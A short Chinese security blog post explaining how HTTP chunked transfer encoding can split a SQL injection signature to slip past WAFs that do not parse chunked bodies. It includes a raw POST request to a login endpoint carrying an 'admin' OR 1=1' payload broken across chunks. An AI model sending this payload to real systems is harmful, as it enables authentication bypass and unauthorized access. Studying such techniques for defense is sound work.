欢迎访问 内存溢出 —— 独立后端与系统工程技术博客

专注于分布式系统、Linux内核、数据库存储与后端工程实践

WAF 规则绕过分析:SQLi 中的 HTTP 分块传输编码(Chunked Transfer)

发表于:|最后更新:|分类:Web安全|阅读:5549 次

部分旧版或性能受限的 WAF(Web Application Firewall)在解析请求体时不支持 分块传输编码(Transfer-Encoding: chunked),而直接将其交给后端支持分块的 Web 服务器(如 Apache/Tomcat)。攻击者借此切断注入特征串绕过 WAF。

一、分块传输拆分恶意 Payload

http
POST /login HTTP/1.1
Host: vulnerable-target.com
Transfer-Encoding: chunked
Content-Type: application/x-www-form-urlencoded

4
user
5
=admi
2
n'
5
 OR 1
5
=1-- 
0